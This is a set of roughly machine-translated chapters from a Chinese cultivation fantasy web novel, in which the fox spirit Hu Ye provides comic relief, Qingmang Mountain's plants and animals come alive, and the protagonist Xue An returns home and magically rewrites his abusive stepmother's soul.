    Thinking and Nian Nian looked at them in surprise, "Wow, that''s amazing!"


    Enjoying the admiration of the two young girls, Hu Ye couldn''t help being even more proud, and simply stood up and took a few bodybuilding poses to show the "strongness" of his body.


    But at this moment, I heard Xue Xiang say: "Uncle, you are so beautiful, you should actually be a girl!"


    Xue Xiang''s words were fatal, so that all the pride of Fox Ye had just vanished.


    And Xue Nian seemed to be afraid that his death would not be thorough enough, so he made another cut.


    "Sister, Uncle is already working hard to be a girl! Look at the pose he just posed, how beautiful!"


    Suddenly, Fox Ye felt... it''s not fun at all!

 Chapter 552： Thanks Lao Tie for the rainbow

    Today is a sunny day that is rare for Lingnan.


    Although it was just an engagement ceremony, the Yu family held it very grandly.


    Specially invited guests from the Quartet to be witnesses.


    As the most important guests, the Xue An family was arranged to sit in a separate room on the second floor.


    Fox Ye stood at the window watching the excitement with relish, and sighed from time to time.


    "This little girl looks good!"


    "Hey, that''s pretty good too!"


    Missing the two little girls, listening to what Fox Ye said was so lively, they also leaned over and looked down.


    After watching for a while, I thought about raising my head and said to Fox Ye.


    "Uncle, I found that these young ladies are not as pretty as you!"


    Nian-nian nodded in agreement, "Hmm, I think so too."


    Fox Ye''s smile froze, and his eyelids flicked wildly for a while before he said helplessly: "I miss you, I can''t say that my uncle is beautiful in the future, but he is handsome! Do you understand?"


    The two little girls looked at each other, then shook their heads, and said in unison: "Mom said, lying is not a good boy!"


    Fox Night: "..."


    The ceremony proceeded step by step, when the couple was about to exchange engagement tokens.


    In the distant sky, a rainbow unfolded slowly.


    This scene drew bursts of exclamation from the crowd.


    But Hu Ye was slightly startled, and then said in astonishment: "How come there is such a weak god?"


    Fox night could see the spirit aura contained above the rainbow, but the aura was so weak.


    Even Hu Ye wondered how this **** survived.


    "It''s a little girl who has become a **** after death! It has several generations of connections with this Yu family. This should be a gift she gave to Yu Ming!" Xue An walked to the window and said lightly.


    Fox Ye''s eyes gradually lit up, "Little girl? Are you pretty?"


    Obviously, his attention is all on this.


    Xue An glanced at Fox Ye, "It should be less beautiful than you!"


    Hu Ye didn''t know how to refute this sentence, so she could only cheek without hearing it.


    Then he leaned out of the window and yelled into the distance.


    "Hey, thank Lao Tie for the rainbow!"


    The people downstairs were all stunned by the sudden shout.


    And the rainbow on that day also seemed to be frightened, shuddering slightly, and hurriedly disappeared.


    Huye retracted and smiled, "It''s quite shy!"


    Xue An finally couldn''t help it, "Where did you learn this?"


    Fox Ye smiled proudly, "From the phone! I think the phone is the most interesting thing in the world! The people on it are so nice to speak, I really like it!"


    Hu Ye took out a cell phone and opened the live broadcast software proficiently, sliding his face with excitement.


    "You take a look, how beautiful the young lady is! Especially this majesty, I like her the most! She is so nice to speak! Although she is hiding her face, she must be very beautiful!"


    Then he clicked in.


    Coincidentally, this highness was talking to someone else, and Hu Ye smiled and raised his phone to show Xue An.


    "Listen, it sounds so good."


    Xue An glanced at the phone screen, and then his complexion became weird.


    "Are you sure this is the super beautiful young lady you are talking about?"


    Hu Ye nodded, "Of course! I also rewarded a sum of money for this!"


    Xue An couldn''t bear to see and turned his head, "Don''t say I know you!"


    After that, turn around and leave.


    Huye was a little unsure, so, "What''s the problem? See what''s wrong with the beauty? It''s really strange!"


    As he spoke, he looked down at the screen.


    Then he was stunned.


    I saw that the young lady he was rewarding, the picture that blocked her face didn''t know how to fail, showing her true colors.


    And this is actually an elderly player at the grandma level.


    Seeing that this person who didn''t know that his face-blocking software failed, he pretended to be a face anchor with a cute smile, and made a burst of laughter "grandma".


    Huye''s complexion was green and white, and his hand holding the phone was trembling.


    "Uncle, what''s wrong with you?" Thinking about it, I don''t know where it came out.


    "Yeah, uncle, are you uncomfortable?" Nian Nian asked.


    "Uncle is okay, uncle is just a little tired!" Hu Ye said sadly.


    I thought about it and took a look at the phone, "Wow, uncle, are you talking to grandma?"


    After hearing the words, Hu Ye trembled, turned around and threw the phone out of the window.


    "No, how could I chat with others! Hehehehehe." Hu Ye laughed nervously.


    This incident obviously hurt Fox Ye very much. For at least five minutes, he remained silent on the sofa.


    Waiting for his apprentice Shi Xueqing to come over, he asked in a daze, "Good apprentice! Is there something called beauty in your world?"


    Shi Xueqing was asked inexplicably, "Yes! What''s the matter, Grandpa Master?"


    Hu Ye shook his head, "It''s nothing, just feel that this beauty is better than our fox clan''s illusion skills?"


    However, Fox Ye''s ability to withstand pressure was obviously extremely strong, and soon returned to normal, but since then, there has been a problem.


    That is, whenever someone mentions the word grandma in front of him, he will turn his face on the spot.


    After a while, the wine and food came up like running water.


    While people were eating, Yu Ming brought Yuan Yunxin over to toast and thank him.


    There was Yu Ran carrying a wine bottle behind.


    "Sir, it is our honour for you to be here in person, and Yun Xin and I will respect you with this cup!"


    Yu Ming and Yuan Yunxin raised their cups.


    Xue An smiled slightly and drank the wine in his glass.


    Then Yu Ming motioned his sister Yu Ran forward to pour the wine with his eyes.


    Yu Ran was in a daze, but only after seeing his brother''s eyes did he wake up and hurried forward to pour the wine.


    It''s just that her pouring hands are shaking slightly at this moment.


    Hu Ye saw this scene, then took a deep look at Xue An and smiled meaningfully.


    He understands why when he first saw Yu Ran, he found that the beautiful girl of the sky would have such a heavy affection between the eyebrows.


    It was because of Xue An.


    If so, UU reading www.uukanshu. com can only blame herself.


    You must know that your sister, Huying, was a rare beauty in the Qingqiu fox world.


    Under such conditions, Xue An was unmoved.


    In the end, Huying ran away from home and is still missing.


    Thinking of this, Huye felt liver pain.


    After the engagement banquet, Xue An and his family stayed in Lingnan for another night, and they were going back to Beijiang the next day.


    As for Fox Night...


    He naturally followed.


    Especially when he heard that Xue An came by special plane, and there were many stewardess on the plane.


    Hu Ye said seriously that he had to follow Xue An to find the secret realm of luck as soon as possible.


    As for whether others believe it or not, it doesn''t matter.

 Chapter 553： 1In the night, the mountains and trees become monsters

    Qingmang Mountain.


    In the Taoist Temple of Ewha Valley.


    Zhai Laodao was awakened by the fragrance of flowers.


    "Strange, this season should have faded, how could there be such a strong fragrance of flowers?" Zhai Old Road muttered while pulling his shoes out of the room.


    When he stood in the courtyard, he couldn''t help being stunned by the scene in front of him.


    I saw the already withered Yaman pear tree, which was covered with branches and leaves overnight, and all the pear flowers were in full bloom.


    The breeze blows, and the pear blossoms of a tree are swaying, and the whole mountain is like a sea of ??flowers, undulating and beautiful.


    Zhai Old Road stared blankly.


    what happened?


    You know this is the twelfth lunar month in the cold winter, when the snow is about to close the mountain.


    Why are the pear trees all over the mountain in full bloom at this time?


    Last time Xue An came, although the pear blossoms were all over the mountains, it was a secret technique used to stimulate the hair!


    Could it be Xiao Anzi here again?


    With doubts in his mind, Zhai Laodao slowly walked into the sea of ??flowers.


    During the wandering, Zhai Laodao felt that something was wrong.


    Because these pear flowers are simply so beautiful, so beautiful to the point of breathtaking.


    The pear blossoms in the Pear Blossom Valley open every year. Zhai Laodao has been watching it for more than forty years, and he has become accustomed to it.


    But I didn''t expect that after looking closer today, Zhai Lao Dao couldn''t help being drunk.


    Looking at it, Zhai Laodao couldn''t help but stretched out his hand to touch these pear flowers.


    Then he heard a sigh, "Hey, old man, take your dirty hands away!"


    Old Zhai was shocked, thinking that he had heard it wrong.


    "Who? Who is talking?"


    "I''m right in front of you, didn''t you see it? Say it again, don''t touch me!" said a charming female voice.


    Old Zhai heard clearly this time, and he took a few steps backwards in fright.


    "Who? Whether it''s a demon or a man, he has the ability to come out and talk!" Old Zhai Dao said uncertainly.


    "Oh, don''t I stand in front of you? What a trouble!"


    With that said, the pear tree blossomed without wind, and the flowers fell like rain, condensed into a little girl.


    This girl is no more than the size of an adult''s slap, but her brows are discernible, and she is a very beautiful girl.


    The little girl floated in the air, pouting her mouth and said to Old Zhai: "Old man, you have been a neighbor for decades, you don''t even recognize us?"


    "Are you... Li Shu?" Zhai Laodao finally reacted, trembling.


    The little girl smiled a few times, "Yes! Did you know? What a fool!"


    With her laughter, all the branches and leaves of the pear tree trembling lightly, burst into laughter.


    At the same time, there were a lot of pear trees falling like rain, and little girls condensed one after another. They flew to the front of Zhai Lao Dao and started chatting.


    "This old man was handsome when he was young. Why is he so sloppy when he is old?"


    "I have seen him do not take a bath for a year, can you not be sloppy?"


    "Gosh, it''s so dirty!"


    After being discussed by so many beautiful flower girls (this time it was a fake flower girl), Zhai Laodao couldn''t help but blush.


    "Ahem, it''s not advisable to take a bath too much, once a year is best!"


    "That''s your own laziness!" These flower monsters unscrupulously opened the cover of Zhai Lao Dao.


    Zhai Laodao hurriedly turned aside the subject, in fact, his heart was full of doubts at the moment.


    As a Taoist priest who was ordered by Master to guard the dragon (that is, Xiaosha) for life, Zhai Lao Dao did not resist the demon.


    But becoming a demon must follow the Basic Law!


    How can it be said that yesterday was an ordinary pear tree and became a pear flower demon after a night?


    "Ahem, you... are all pear trees?"


    "That''s right or wrong!" These flower monsters said with a grin, and then introduced a few shameless little girls in cyan grass skirts.


    "These are all grass demon!"


    "Can the grass become a demon?" Old Zhai Dao''s eyes widened.


    "Why can''t the grass become a demon? You are purely discriminating against the grass! The old-fashioned!" said a little grass demon with an angry face.


    Old Zhai felt that his head couldn''t be turned a little, "Uh...I didn''t mean that... But if even the weeds can be refined, wouldn''t other animals become more demonized?"


    As soon as the voice fell, I heard a sweet female voice above her head laughing: "You are right, old man!"


    Old Zhai looked up and saw a magpie talking to himself with a smile.


    Then a hare popped out of the grass, combed his hair with his tongue, and said angrily to the old man Zhai: "Old man, do you remember me?"


    Old Zhai didn''t know how to respond, so he could only watch with a dull expression.


    "Huh, I was almost caught by you last time and stewed it, but you don''t remember me now, you scumbag!" Hare said, staring at Zhai Lao Dao, and jumped into the grass. Disappear.


    Old Zhai felt his head dizzy, and he took a step back subconsciously, trying to calm down by leaning on the tree.


    Then I heard a shrill voice shouting: "Excuse me, you stepped on me!"


    When Zhai Lao Dao hurriedly raised his foot, a green grasshopper jumped out and mumbled: "It''s really unqualified, don''t you look at the bottom of your feet while walking?"


    Then he jumped a few times and disappeared behind the tree.


    "This...this...couldn''t the entire Qingmang Mountain''s flowers, plants and animals become refined, right?" Old Zhai murmured.


    "Hehe, almost!" said the pear flower demon who appeared first.


    "Then you... how did you suddenly become like this?" Zhai Old Road asked.


    These flower monsters talked for a while, and then said in unison: "We don''t know, we think we know everything after a sleep!"


    This answer... is really fine!


    Old Zhai did not dare to go inside anymore, because he was afraid of seeing more weird fairies.


    Turned back to Taoist temple, sat under the tree and was about to take a sip of tea.


    This ancient tree older than Taoist temple said, "Hey, are you interested in having a plate?"


    After taking a sip of tea, Zhai Laodao spouted all the tea with a pop.


    "what?"


    The old tree shook its branches and leaves, "I mean, do you want to play a game of chess!"


    "You...play chess with me?" Zhai Laodao wasn''t surprised that the old tree became a fine one, but was a little surprised.


    "Yes! To be honest, after you have been here for hundreds of years, your chess skills are the worst among the few watchers I have ever seen!" Gu Shu said disdainfully.


    Old Zhai said: "..."


    Is this being despised by a tree?


    "Come, come, who is afraid of who!" Zhai Lao Dao said with a face full of dissatisfaction.


    The chessboard was placed Zhai Laodao sat aside.


    The ancient tree stretched out long branches and picked up chess pieces as flexibly as two human hands.


    Zhai Lao Dao has already rallied his energy at this moment, and he said that he can be regarded as the longest human race, how could he lose to you this pile of dry wood?


    One game, lose!


    Well, I was careless.


    In the second set, still lose!


    Seeing sweat on Zhai Lao Dao''s face, it seemed that he could not be merciful.


    The third set, the fourth set.......


    By the time the tenth set, Zhai Laodao''s clothes were already soaked with cold sweat.


    On the other hand, Gu Shu threw down the chess piece directly, and said with a sense of excitement: "No more, you are too bad to win!"

 Chapter 554： Go to Qingmang

    Qingmang Town.


    Yuelai Hotel.


    Xue Lan, who was sitting cross-legged on the bed, felt her whole body tremble. The thoughts that had been a bit condensed instantly came through, and her cultivation level began to skyrocket.


    After a while, Xue Lan slowly opened his eyes, and a glimmer of light flashed away.


    Trapped in Xiaoyao''s cultivation base, which has been unable to make progress, finally succeeded in breaking through to become a heavenly man.


    And it is directly the pinnacle of heaven and man.


    But Xue Lan''s eyes flashed a little doubt.


    Because just now when she was cultivating, she suddenly felt that the aura between heaven and earth had changed. It seemed that there was something more, and then she managed to break through with this inexplicable feeling.


    what is that?


    Xue Lan was puzzled, and finally shook his head.


    That''s it.


    Anyway, I have made a breakthrough, whatever it is!


    Xue Lan got up and got out of bed, opened the window habitually, preparing to breathe in fresh air.


    The room she stayed in is the best in the entire Yuelai Hotel, and you can see Qingmang Mountain by pushing the window.


    As the New Year��s Eve is approaching, which is considered the off-season for tourism, this Yuelai Hotel has also become deserted.


    So Xue Lan moved here to live.


    After opening the window, Xue Lan was about to go to wash, and was stunned.


    Because the Green Mang Mountain, which had already withered all the grass, suddenly changed into a green outfit at this moment, the trees were lush, the flowers were in full bloom, and it was a lush scene.


    This...what is going on?


    Could it be that I have been enrolled for several months, is it already the spring of the coming year?


    Xue Lan hurriedly took out her phone and took a look.


    Is everything normal at time?


    So what is going on?


    Suddenly, it was incredible that a huge Qingmang Mountain was returned to spring.


    Xue Lan didn''t care about washing, and hurried downstairs.


    Waiting to come to the hotel lobby.


    The guards and attendants on duty are also discussing the matter.


    After seeing Xue Lan, they all stood up quickly and dared not speak anymore.


    Xue Lan has been in charge of this Yuelai Hotel for more than two years, and her prestige has been deeply rooted in the hearts of the people. No one dares to look down upon her because of her age.


    Xue Lan ignored these people, instead ran out of the hotel and stood on the street to look around.


    I saw the green spread from Qingmang Mountain until it gradually became thinner at the edge of the town.


    Even so, Xue Lan still saw a trace of greenery from the two big trees in front of the hotel.


    At this moment, not only she, but the entire Qingmang Town is discussing this matter.


    All kinds of opinions are clamoring.


    Some say it is caused by seasonal warming.


    It is said that this winter is not too cold at all.


    Others are more straightforward, directly saying that the **** of Qingmang Mountain has appeared.


    Obviously, this last statement is very marketable, because many people have spontaneously went down the mountain to burn incense and pray.


    Of course Xue Lan wouldn''t believe those words. She stood on the street for a while and thought, then took out her mobile phone and called Xue An.


    Xue An is now playing a game with Fox Night.


    Since watching the live broadcast and being cheated by the grandmother, Huye no longer believes in those good-looking young ladies and has become crazy about playing games.


    Especially for fighting games.


    Because Fox Ye''s cultivation base and physique are much better than ordinary people, so he played the game extremely in a short time.


    Moreover, he is very competitive and never humbles others.


    After crying Xiaosha, everyone kept away from him, and Xue An was able to play with him twice.


    At this moment, the fighting has reached the most dangerous moment.


    The characters manipulated by the two sides have only the last trace of blood left, and a mistake at this time is undoubtedly dead.


    As the two were fighting, Xue An''s cell phone rang.


    Xue An moved the handle with one hand, and then took out the phone. When he saw that it was his sister Xue Lan, he was connected.


    "Hey! Lan''er, what''s the matter?" Xue Angang said the first sentence.


    When Hu Ye saw that Xue An was holding the handle with one hand, he thought that there was a chance, so he smiled and manipulated the characters to rush up.


    "Ah, nothing!" Xue Lan felt a little flustered when she heard Xue An''s voice, and quickly settled her mind.


    "Oh!" Xue An replied, and the one-handed joystick dodges the fox night''s attack.


    "It is Qingmang Mountain that seems to have returned to spring overnight, with the branches and leaves turning green and the flowers in full bloom! And my cultivation base also broke through from Xiaoyao to the peak of heaven and man last night!" Xue Lan paused and asked .


    "Brother, is this weird?"


    Xue An originally stared at the screen and raised his eyebrows slightly, "Oh? Qingmang Mountain turned green overnight?"


    "Correct!"


    At this moment, Hu Ye yelled triumphantly, "Xue An, you are determined to lose!"


    After speaking, he used a big move that had been holding back for a long time.


    A smile appeared on the corner of Xue An''s mouth and said to the phone, "Wait a moment!"


    The fingers suddenly seemed to disappear, only a crackling sound of the handle was heard, and then he manipulated his character to perform an ultimate nirvana.


    When the huge KO appeared on the screen, Fox Night looked fixedly, his face turned pale.


    Xue An stood up and patted him on the shoulder, "It''s useless, you can''t PK with real people, you can''t beat me in games!"


    As Xue An said, Fox Night played dozens of games with him, but never won.


    This time is the closest to victory.


    As he was talking, Xue An''s handle made a slight clicking sound, and then cracks appeared, a few wisps of smoke appeared, and it was completely scrapped.


    Fox night was dazed.


    Xue An smiled slightly, turned around and said to the phone: "What was so strange about Qingmang Mountain before?"


    "No, and Zhai Lao Dao came to the hotel to beat the autumn wind the day before yesterday. At that time, he didn''t say anything unusual in the mountains!"


    "okay, I get it!"


    Xue Lan gritted his teeth and plucked up the courage to say: "Brother, what are you going to do?"


    "What''s wrong?" Xue An asked back.


    "Oh! Nothing, I just want to ask you! Isn''t it coming for the New Year! Are you... coming back for the New Year?" Xue Lan said this sentence hesitantly.


    Xue An was startled slightly.


    New Year!


    Yes, the New Year is coming!


    It��s been thousands of years since I left Qingmang Town when I was a teenager~ www.novelhall.com~


    But what''s the point of going back?


    Home is gone! The relatives are gone too!


    Xue Lan was also a little nervous at this time. She just plucked up the courage to ask such a sentence, and now she can''t help but regret it.


    Xue An was silent for a moment, and then smiled, "Okay! Then go back to Qingmang Town for the New Year! By the way, see what''s going on!"


    After hanging up the phone, Hu Ye stood up and asked, "Is there a situation?"


    Xue An smiled, "Yes! And it''s still in my hometown, Qingmang Mountain!"


    Then Chong Anyan said: "This year''s New Year, let''s go to Qingmang!"


    "Good!" An Yan didn''t have any comments.


    Hu Ye nodded, "As this calamity is approaching, Qi Luck will start. This will happen more and more, but I don''t know if the mystery of Qi Luck will open in Qingmang Mountain this time!"

 Chapter 555： Killing is like killing a pig

    Li Hongyan walked arrogantly on the street.


    "Yeah, isn''t this Li''s wife! Why? Go to the hotel again!" A lady proprietress who opened a shop on the street was cleaning the road at the door, and she couldn''t help shouting when she saw Li Hongyan.


    Li Hongyan stopped, nodded proudly, and then pretended to say helplessly: "There is no way, Xiaolan owns such a big hotel is really powerless, we mothers have to share for her!"


    "To say that your Lan''er has the ability, you can take on such a heavy burden at a young age, and manage dozens of people! How can I be like my family, and I am still reaching out for money now! Alas, people and people It can''t be compared!" The proprietress said, half flattering and half sighing.


    Li Hongyan couldn''t help feeling even more proud.


    This is her own character, she is the most popular.


    Especially after Xue Lan took charge of Yuelai Hotel, she often regarded herself as the boss of Yuelai Hotel.


    When talking to people, I can��t wait to look up at people through my nostrils.


    Later, after being severely reprimanded by Xue Lan, he only converged.


    Of course, she would never tell the outside about these things.


    After chatting a few more words, Li Hongyan twisted and left.


    The lady boss looked at her back with a look of disgust on her face.


    The bosses of several nearby shops also came over.


    "You look at Li Hongyan''s proud look, and you get angry when you look at it," a boss said with disdain.


    "What can I do if I am angry, who can make people have a good daughter!" Someone said with envy.


    "Do you really think this hotel belongs to her daughter?"


    "Isn''t it?"


    "Hehe, this Xue Lan is just taking care of others! The real big boss..." The speaker deliberately sold it off.


    "Who?"


    "Yes, say it!"


    "This hotel used to be the home of the family, but this piece of foundation is actually the ancestral home of the Xue family! At the beginning, the Xue family''s lineage withered, except for Xue Lan''s father, the rest were left dead, this ancestral house It becomes a land of no owner!"


    "At that time, the old man Xie Wendong planned to build a hotel, and he got the picture here. I heard that he didn''t even say hello. He flattened the house and built it!"


    The person telling the past is obviously a local, and he is very clear about the ins and outs.


    And these business bosses were stunned.


    "Yes, I know that this family member was within a hundred li radius. It was a leading big family. The family was rich and powerful! The strange thing was that it suddenly fell."


    "Haha, what do you know! Didn''t this Xie Wendong bully the Xue family and build the hotel directly? Coincidentally, the Xue family came back!"


    "What can I do when I come back? This hotel is built up!"


    "The Xie family thought so too! But the descendants of the Xue family don''t think so!" The speaker paused, then lowered his voice after looking around.


    "I heard that this young master made a trip to Qingmang Mountain, and when he came back, he killed Xie Wendong and his son!"


    hiss!


    The bosses all gasped, and their faces were full of shock.


    "You brag! If you really want to kill the understanding of the father and son, this matter can''t be stabbed to the sky? But I haven''t heard of anyone being arrested!" Some people were unbelieving.


    "Hehe, you know what a shit! Do you know what this little master comes from?"


    "What''s the origin?"


    "Qin Family Niu* No!"


    "Which Qin family?"


    "Nonsense, of course it is the Qin family in Beijiang!"


    Hearing these words, all the bosses dare not say anything.


    The person who was speaking couldn''t help showing a complacent expression. "Don''t even mention that the Qin family is in Beijiang now. It is in China that we are both the leading large companies. It can be said that when the Qin family sneezes, Beijiang trembled. !"


    No one refuted, because what this man said was the truth.


    "But when the young master killed someone, Miss Qin''s family was watching! And the Qin family took care of the funeral! When the Xie family saw the Qin family came forward, she didn''t even dare to put a fart. Just admit it obediently!"


    "You mean that this descendant of the Xue family belongs to Miss Qin''s family." Someone said.


    "Wrong! I know what you think, do you think this Xue family member is so powerful by relying on the Qin family?"


    "Isn''t it?"


    "On the contrary! The Qin family has been so prosperous in recent years because of this Xue family member!" This person sighed and said.


    The little bosses who opened the shop were all surprised.


    "This... how is this possible?" someone whispered to himself.


    "Haha! I thought it was impossible at the time! But I saw everything with my own eyes!" At this point, the man smiled bitterly.


    "Actually, I was one of Xie''s father and son at the time. When Xie Wendong was killed, I was on the scene! If you are not afraid of your jokes, I can be considered a arrogant person, Geng Er. It scared my legs soft!"


    "Because I have never seen such a powerful person. Killing is like killing a pig and a dog! Especially the look in the eyes is like a god!"


    Geng Er began to tremble slightly, as if recalling the scene at that time.


    These little bosses are all discolored by it.


    "Oh, what do you tell you so much for? Just remember that this Yuelai Hotel is actually owned by others, but they simply don''t care about it. To take care of their sister of the same race, she left it to her for management! As for this Li Hongyan ...."


    Geng Er sneered, "Don''t look at her being arrogant now, if the Xue family''s husband comes back, I might scare her to death!"


    As he was talking, there was a sudden riot on the street, and Geng Er looked back a little dissatisfied, "Damn, who is this! Old..."


    He was stunned before Zizi could export it.


    Because a convoy came slowly from the other side of the street, all black Mercedes Benzes.


    When the convoy drove slowly to the door of Yuelai Hotel, a doorman hurriedly opened the door, and the group got out of the car.


    The first to get off was a pair of delicate and lovely girls, and then a few big beauties who wore sunglasses but could still see their stunning looks.


    Such a formation shocked the pedestrians on the street.


    And Geng Er began to tremble uncontrollably.


    Because he recognized the pair of little girls.


    Is that little master here? Geng Er thought to himself.


    really.


    Xue An finally got out of the car.


    Geng Er''s complexion instantly turned pale, and he hurriedly lowered his head and dared not look again.


    They have been waiting for Xue An and others to enter the hotel These onlookers were amazed.


    "Who is this! So grand!"


    "The little girls are so pretty!"


    "Hey, I think those women are the best looking!" A second-rate said with a grin, but the words were not finished yet.


    Geng Er Tieqing stepped forward, slapped the Er Liuzi to the ground with a slap.


    "Fuck, who the **** dare...Second brother, why are you hitting me?" This second-rate guy wanted to curse, but at first glance it was Geng Er, and muttered a little aggrieved.


    Geng Er gritted his teeth and popped a few words between his teeth.


    "Boy, the pedestrian who just entered, you''d better not even think about it, otherwise... I can''t save you! Understand?"


    This person was scared to pale by Geng Er''s words, "Yes, brother, don''t worry, I will never say it again!"

 Chapter 556： Complete soul transformation

    When Xue An and his party walked into Yuelai Hotel.


    Li Hongyan was quarreling with her daughter Xue Lan with a displeased face.


    "I just want to be a manager in this hotel, isn''t that all right?" Li Hongyan mumbled.


    Xue Lan coldly said, "No!"


    "You bastard! Anyway, I''m also your mother! You won''t agree to such a request?"


    Xue Lan shook his head firmly, "No, no, you just stay at home, and I''ll give you the money if you have no money, why come to join in the fun in this hotel? Besides, this hotel is not my final say!"


    "Yeah, don''t talk to your mother or me. Who doesn''t know that this Yuelai Hotel is yours now. Isn''t it easy for you to arrange a person? And I''m here to help you, what do you mean to join in the fun?" Li Hongyan sneered.


    Xue Lan took a deep breath and said in a cold voice: "First, this hotel is not mine, I just manage it for Xue Ange! Second, you don''t need your help here, because you will only ruin things here. !"


    Li Hongyan''s stunned face was blue and red, "You... are you talking to your mother like this?"


    Xue Lan sneered, "Mom, how did you have your tongue cut off by Xue An at the time? Have you forgotten it? If it weren''t for me to ask Xue An for some condensed version of Tianyuan potion, you can''t even speak. Yeah!"


    At first, Li Hongyan had her tongue cut off by Xue An because of her cheap mouth. Later, Xue Lan felt sorry for her mother and asked for a bottle of Tianyuan potion.


    But Li Hongyan is obviously not a person who knows how to report gratitude, and she was furious when she heard the words, "I know, you think you are now attached to your brother Xue An, and I am no longer a mother in your eyes! Isn''t it?"


    Seeing her mother so unreasonable, Xue Lan was so angry that her eyes were weeping.


    "you you����."


    "What are you, I tell you, you just like your Xue An brother again, you two are also brother-sister relationship!" Li Hongyan said viciously.


    Xue Lan almost fainted with anger.


    At this moment, I heard a calm voice coming.


    "It''s really majestic to rely on the old to sell the old, to overwhelm others with power!"


    Hearing this sound, Xue Lan was shocked and looked up in disbelief.


    Seeing Xue An walking slowly, there was a trace of coldness on his face.


    "Little...Little Ang!" Xue Lan hurriedly wiped away the tears from her face and said respectfully.


    Xue An smiled at his sister, then looked at Li Hongyan who was dumbfounded.


    When she came into contact with Xue An''s sight, Li Hongyan felt her legs soft and knelt on the ground with a plop, and said in horror.


    "Xue... Xue, I..."


    She was so scared that she didn''t know what to say.


    If anyone in this world fears this unruly woman, it must be Xue An.


    She dared to persecute Xue Lan with words, simply because she knew that even if Xue Lan didn''t like her anymore, she would endure it because she was a mother.


    But these tricks are not effective for Xue An.


    Xue An glanced at her and said lightly: "Now I think of asking for mercy, don''t you think it''s a bit late?"


    "Last time I saw Lan''er spare your life and only cut off your tongue, but now it seems that you don''t know how to be grateful!"


    Li Hongyan trembled all over, glanced at Xue An in horror, then turned to her daughter and asked for help.


    "Lan''er, save me! I know I was wrong! I don''t dare anymore!"


    Xue Lan showed hesitation and looked at Xue An with some embarrassment.


    "brother����."


    Xue An shook his head gently.


    "Don''t worry, I won''t kill her!"


    Hearing these words, Li Hongyan collapsed to the ground, feeling a kind of rejoicing for the rest of her life.


    Hmph, I am your elder no matter what, it seems that you still dare not really kill me!


    Li Hongyan thought proudly.


    But Xue An''s next sentence plunged her into the abyss.


    "But the death penalty has been waived, and the living sin cannot escape!"


    Li Hongyan trembled and sighed in her heart. It seemed that her tongue could not be kept anymore.


    But if you cut it, cut it. Anyway, there is a potion of Heavenly Fate, which can grow out.


    Li Hongyan thought to herself, but her face looked very frightened.


    Xue An looked at this shrew with a slightly raised mouth. Of course he saw Li Hongyan''s thoughts, so he said lightly.


    "I heard that you really want to come to work in this hotel? Then I will fulfill you."


    "Huh?" Li Hongyan looked at Xue An in disbelief, as if she didn''t understand why he suddenly said this.


    Xue An has long been fed up with this woman who is nominally her elder.


    If it weren''t for Xue Lan last time, she would have been killed.


    But this woman not only didn''t know how to constrain, she dared to be so presumptuous.


    It seemed that he was determined not to kill her.


    But she didn''t know that if Xue An wanted to kill a person, he didn''t have to disappear physically, but the soul was the most complete.


    A divine mind rushed directly into Li Hongyan''s sea of ??consciousness, smashing her soul in general.


    Li Hongyan''s eyes instantly became hollow.


    If that''s all, then this Li Hongyan will become a walking dead, without any consciousness.


    Xue An casually squeezed the method, and Li Hongyan''s shattered soul instantly condensed.


    Only this time, Xue An is like carving, deleting all the garbage and negative information, leaving only a ray of spirit.


    Wait until everything is done.


    Look at Li Hongyan again.


    The once brutality and savageness disappeared without a trace, and a charity smile appeared on his face.


    Xue Lan just felt that a divine thought passed away in a flash, and didn''t know what happened.


    But Xue Ang once again let go of her troublesome mother because of herself, and Xue Lan felt extremely guilty.


    But at this time, Li Hongyan had stood up, bowed her head at Xue An, and said respectfully: "I''m going to clean up the house!"


    This scene made Xue Lan a little dumbfounded.


    Then Li Hongyan turned her head and smiled at Xue Lan, her smile full of sincerity and maternal love, "Lan''er, it was all my mom wrong before, don''t blame me!"


    After that, he left.


    Xue Lan stood there blankly, as if she couldn''t believe that it was true just now.


    Ever since I was young, my mother has never given me a smile.


    "Brother Xiao An, this..."


    Xue An waved his hand and said with a solemn expression: "Since you have entered the heavens, you are considered a true cultivator!"


    "Even if she is your mother, many parents or elders in this world, except for a name, are not worthy of respect at all! Such emotions will not only kidnap you, No effect!"


    "And what you have to do is to correctly understand this, otherwise your spiritual path will be very bumpy!"


    Xue Lan lowered her head, her face was ashamed.


    "Hmm! I get it!"


    At this time, Fox Ye walked up with bright eyes, "Don''t listen to your brother, your mother will probably be more kind and gentle than the Bodhisattva in the future!"


    Of course, Fox Ye saw Xue An''s reshaping of Li Hongyan''s soul.


    "Get to know, my name is Huye!" Huye stretched out his hand and said with a smile.


    "Huh?" Xue Lan looked up at this extremely beautiful man, a little stupid.


    Hu Ye squeezed his eyes at Xue An, and then said with divine thoughts: "Xue An, you hooked my sister away, then I will take your sister down too! This is a tie!"

 Chapter 557： I mean, I want to soak your sister!

    "Okay!" Xue Anman casually replied with spiritual thoughts.


    "Huh?" Fox Ye, who thought Xue An would be furious, was stunned, and then said: "Hey, I mean, I want to soak your sister!"


    "Yeah, I have no objection! Anyway, my sister is also an adult. Although your personality is a little bit funny, you look a little bit older, and your age is a little bit older, but you can still make do with it. I will agree! But..."


    "Remember, this is my sister. If you really catch up, then if you dare to apologize to her a little bit in the future, hehe..."


    When he heard Xue An''s last laugh, Hu Ye''s hairs all stood up, and immediately said righteously.


    "Xue An, I''m going to criticize you now! Who do you think of me? Isn''t your sister my sister? As a positive fox fairy, how can I do such a careless thing? ?"


    With Xue An''s face, I silently watched your acting expression without speaking at all.


    "Brother, I was wrong!" Hu Ye immediately persuaded.


    The two people communicated with divine minds throughout the whole process, and others would naturally not be able to hear them.


    They could only see Fox Ye''s proud face at first, but gradually his complexion turned pale, and finally retreated to the side dingy, not daring to cry.


    "Brother Xiao An, do you arrange a room for you now?" Xue Lan said happily.


    Xue An shook his head, then looked up at Qingmang Mountain outside the window, "Don''t worry! I plan to go to the mountain first!"


    "Go now?" Xue Lan was a little surprised.


    "Yeah! It''s hard to come back, so you have to see your acquaintance!"


    "Okay, let me explain, let''s go together!"


    When Xue Lan went down to prepare, Hu Ye stepped forward and whispered softly: "What a dense demon spirit!"


    Xue An smiled, "The whole mountain is about to be spiritual, not to mention the vegetation and animals."


    "With such a strong force of luck, once the calamity is activated, this place is likely to be the entrance to the real secret realm!" said Hu Ye.


    "According to you, there are many places like this?"


    Hu Ye nodded, "A lot! According to secret records, there will be many places of luck that will appear before the calamity arrives, but no one knows where the secret realm will appear."


    Xue An nodded, "Anyway, you''ll know when you go into the mountain and have a look!"


